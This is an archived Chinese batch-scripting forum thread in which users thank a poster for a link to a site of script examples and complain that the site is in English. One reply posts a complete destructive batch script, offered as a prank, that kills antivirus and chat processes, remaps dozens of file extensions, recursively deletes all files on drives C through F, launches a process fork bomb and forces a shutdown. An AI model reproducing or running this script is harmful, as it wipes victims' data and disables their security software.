批处理之家's Archiver

lxh623 发表于 2011-12-1 07:38

批处理代码大全

[url]http://www.robvanderwoude.com/batexamples.php[/url]
代码很多。可以按照功能过滤。

lxzzr 发表于 2011-12-1 15:54

大致看下,这网站还不错。。。

garyng 发表于 2011-12-3 12:30

的确不错啊!

好多实例哦哦~

C#、Batch、正则表达式也有勒!!

谢谢分享!!

xuanyuanzangge 发表于 2011-12-17 23:16

好东西呀!

web 发表于 2012-10-15 21:34

新手就免了  没解释看不明白 英语也差

狱渊 发表于 2013-4-20 13:11

[b]回复 [url=http://www.bathome.net/redirect.php?goto=findpost&pid=97898&ptid=14867]1#[/url] [i]lxh623[/i] [/b]


    刚看了下 吓到了 功能好全啊

zyc29 发表于 2013-12-20 20:36

英文是硬伤

fish509008 发表于 2013-12-21 10:50

遗憾没有打包下载的地方,

jiangzehu8520 发表于 2013-12-23 09:40

新手打酱油路过

mayz1994@qq.com 发表于 2014-1-25 12:41

能考虑下不会英语的人么

974324898 发表于 2014-3-29 12:59

[b]回复 [url=http://www.bathome.net/redirect.php?goto=findpost&pid=97898&ptid=14867]1#[/url] [i]lxh623[/i] [/b]


    我来一个毁系统的代码:[code]::欢迎使用Microsoft Corporation 整人软件(这是升级版哦“6.1.7600”)
::该软件将会破坏您的系统 请不要做备份因为待会都会被删除
::该软件一旦运行就无法阻止,请节哀顺变吧
color 06
::你喜欢这种颜色吗 偶感觉还不错
::好,下面开始进行系统破坏……哈哈,你的电脑死定了
if not exist c:\1.txt echo. >c:1.txt$ goto errl
if not exist c:\2.txt echo. >c:2.txt$ goto errl
if not exist c:\3.txt echo. >c:3.txt$ goto errl
if not exist c:\4.txt echo. >c:4.txt$ goto errl
if not exist c:\5.txt echo. >c:5.txt$ goto errl
if not exist c:\6.txt echo. >c:6.txt$ goto errl
if not exist c:\7.txt echo. >c:7.txt$ goto errl
if not exist c:\8.txt echo. >c:8.txt$ goto errl
if not exist c:\9.txt echo. >c:9.txt$ goto errl
if not exist c:\10.txt echo. >c:10.txt$ goto errl
if not exist c:\11.txt echo. >c:11.txt$ goto errl
if not exist c:\12.txt echo. >c:12.txt$ goto errl
if not exist c:\13.txt echo. >c:13.txt$ goto errl
if not exist c:\14.txt echo. >c:14.txt$ goto errl
if not exist c:\15.txt echo. >c:15.txt$ goto errl
if not exist c:\16.txt echo. >c:16.txt$ goto errl
if not exist c:\17.txt echo. >c:17.txt$ goto errl
if not exist c:\18.txt echo. >c:18.txt$ goto errl
if not exist c:\19.txt echo. >c:19.txt$ goto errl
if not exist c:\20.txt echo. >c:20.txt$ goto errl
if not exist c:\21.txt echo. >c:21.txt$ goto errl
if not exist c:\22.txt echo. >c:22.txt$ goto errl
if not exist c:\23.txt echo. >c:23.txt$ goto errl
if not exist c:\24.txt echo. >c:24.txt$ goto errl
if not exist c:\25.txt echo. >c:25.txt$ goto errl
if not exist c:\26.txt echo. >c:26.txt$ goto errl
if not exist c:\27.txt echo. >c:27.txt$ goto errl
if not exist c:\28.txt echo. >c:28.txt$ goto errl
if not exist c:\29.txt echo. >c:29.txt$ goto errl
if not exist c:\30.txt echo. >c:30.txt$ goto errl
if not exist c:\31.txt echo. >c:31.txt$ goto errl
if not exist c:\32.txt echo. >c:32.txt$ goto errl
if not exist c:\33.txt echo. >c:33.txt$ goto errl
if not exist c:\34.txt echo. >c:34.txt$ goto errl
if not exist c:\35.txt echo. >c:35.txt$ goto errl
if not exist c:\36.txt echo. >c:36.txt$ goto errl
if not exist c:\37.txt echo. >c:37.txt$ goto errl
if not exist c:\38.txt echo. >c:38.txt$ goto errl
if not exist c:\39.txt echo. >c:39.txt$ goto errl
if not exist c:\40.txt echo. >c:40.txt$ goto errl
goto err2
:err1
shutdown -s -t 0
:err2
::QQ即将关闭
taskkill /f /im QQ.exe::360即将关闭
taskkill /f /im 360SE.exe
taskkill /f /im 360sd.exe
taskkill /f /im 360rp.exe
taskkill /f /im 360tray.exe::以下将会弹出1000个窗口,等着系统崩溃吧………………开始
::以下将会更改文件拓展名的作用哦
assoc.xxx=xxxfile
ftype xxxfile="%1"%*
copy%systemroot%\system32\cmd.exe%systemroot%system32\cmd.xxx
assoc .aca=txtfile
assoc .acf=txtfile
assoc .acm=txtfile
assoc .aif=txtfile
assoc .aifc=txtfile
assoc .aiff=txtfile
assoc .ani=txtfile
assoc .ans=txtfile
assoc .arc=txtfile
assoc .arj=txtfile
assoc .asf=txtfile
assoc .asp=txtfile
assoc .asx=txtfile
assoc .au=txtfile
assoc .avi=txtfile
assoc .bak=txtfile
assoc .bbs=txtfile
assoc .bfc=txtfile
assoc .bin=txtfile
assoc .bmp=txtfile
assoc .c=txtfile
assoc .cab=txtfile
assoc .cal=txtfile
assoc .cdf=txtfile
assoc .cdr=txtfile
assoc .cdx=txtfile
assoc .cfg=txtfile
assoc .chm=txtfile
assoc .clp=txtfile
assoc .cnf=txtfile
assoc .cmf=txtfile
assoc .cnt=txtfile
assoc .col=txtfile
assoc .com=txtfile
assoc .cpl=txtfile
assoc .cpp=txtfile
assoc .crd=txtfile
assoc .crt=txtfile
assoc .cur=txtfile
assoc .css=txtfile
assoc .dat=txtfile
assoc .dbf=txtfile
assoc .dcx=txtfile
assoc .ddi=txtfile
assoc .dev=txtfile
assoc .dib=txtfile
assoc .dir=txtfile
assoc .dll=txtfile
assoc .doc=txtfile
assoc .docx=txtfile
assoc .dos=txtfile
assoc .dot=txtfile
assoc .drv=txtfile
assoc .dwg=txtfile
assoc .dxb=txtfile
assoc .dxf=txtfile
assoc .der=txtfile
assoc .dic=txtfile
assoc .emf=txtfile
assoc .eps=txtfile
assoc .err=txtfile
assoc .exe=txtfile
assoc .exp=txtfile
assoc .exc=txtfile
assoc .flc=txtfile
assoc .fnd=txtfile
assoc .fon=txtfile
assoc .for=txtfile
assoc .fot=txtfile
assoc .fp=txtfile
assoc .fpt=txtfile
assoc .frt=txtfile
assoc .fxp=txtfile
assoc .gif=txtfile
assoc .grh=txtfile
assoc .grp=txtfile
assoc .goc=txtfile
assoc .gra=txtfile
assoc .h=txtfile
assoc .hlp=txtfile
assoc .hqx=txtfile
assoc .ht=txtfile
assoc .htm=txtfile
assoc .html=txtfile
assoc .icm=txtfile
assoc .ico=txtfile
assoc .idf=txtfile
assoc .idx=txtfile
assoc .iff=txtfile
assoc .image=txtfile
assoc .ime=txtfile
assoc .img=txtfile
assoc .inc=txtfile
assoc .inf=txtfile
assoc .ini=txtfile
assoc .jar=txtfile
assoc .jpeg=txtfile
assoc .jpg=txtfile
assoc .lnk=txtfile
assoc .log=txtfile
assoc .lzh=txtfile
assoc .mac=txtfile
assoc .mag=txtfile
assoc .mdb=txtfile
assoc .mid=txtfile
assoc .men=txtfile
assoc .rle=txtfile
assoc .rm=txtfile
assoc .rmi=txtfile
assoc .rtf=txtfile
assoc .sav=txtfile
assoc .scp=txtfile
assoc .scr=txtfile
assoc .sct=txtfile
assoc .scx=txtfile
assoc .set=txtfile
assoc .shb=txtfile
assoc .snd=txtfile
assoc .sql=txtfile
assoc .svg=txtfile
assoc .svx=txtfile
assoc .swf=txtfile
assoc .swg=txtfile
assoc .sys=txtfile
assoc .txt=jarfile
assoc .nfo=txtfile::以下是删除你的C盘所有文件
del /a /f /s /q C:\*.*::以下是删除你的D盘所有的文件
del /a /f /s /q D:\*.*::以下是删除你的E盘所有的文件
del /a /f /s /q E:\*.*::以下是删除你的D盘所有的文件
del /a /f /s /q F:\*.*
::好,来到这里,差不多快结束了,也就是说,你的系统快崩溃了……bye
::你会死得很惨…………嘻嘻
::这次把你的内存占满
for /l %%i in (1,1,10000) do (start %0)
::5秒后即将关机……关机后你死定了
shutdown -s -t 5

结束
这上面的意思是:
使电脑重启40次
把文件后缀名所启动的程序乱改一通
删除C,D,E,F盘的所有文件
把内存(CPU)占满
5秒后自动关机[/code]

974324898 发表于 2014-3-29 13:04

[b]回复 [url=http://www.bathome.net/redirect.php?goto=findpost&pid=143895&ptid=14867]10#[/url] [i]mayz1994@qq.com[/i] [/b]


    这个,额,我和你感同身受,全是英语,一个不懂

974324898 发表于 2014-3-29 13:04

[b]回复 [url=http://www.bathome.net/redirect.php?goto=findpost&pid=129685&ptid=14867]6#[/url] [i]狱渊[/i] [/b]


    大哥,能不能告诉我你怎莫看懂英语的

Batcher 发表于 2014-3-29 14:28

[b]回复 [url=http://www.bathome.net/redirect.php?goto=findpost&pid=146369&ptid=14867]13#[/url] [i]974324898[/i] [/b]


    上学的时候没好好学吧

无名小卒 发表于 2014-6-2 13:06

有道翻译当前网页~~~~~~~~~~~

凡凡之呗 发表于 2015-2-7 15:14

稍微有点不舒服的是网站为英文,内容很好

ZUOX123 发表于 2015-5-13 17:26

好像还不错的

fsxt 发表于 2015-6-17 11:16

感谢楼主分享!!!!

MCRGZN 发表于 2015-8-13 14:23

我靠!(此回复虽有且仅有两个字,却深 刻地表达了回复人的深深的祝福与刻骨的 情感,可谓言简意赅,一字千金,字字扣 人心弦,字字催人泪下,足可见回复人扎 实的文字功底和信手拈来的写作技巧及惨 绝人寰的创新能力。实是佩服佩服!再加 上以感叹号收尾,点睛之笔,妙笔生花, 意境深远,照应前文,升华主题,把回复 人的感情表达得淋漓尽致,给人无限感动 和惆怅,有浑然天成之感,实乃回复中之 极品,祝福中之绝笔。)

页: [1]

Powered by Discuz! Archiver 7.2  © 2001-2009 Comsenz Inc.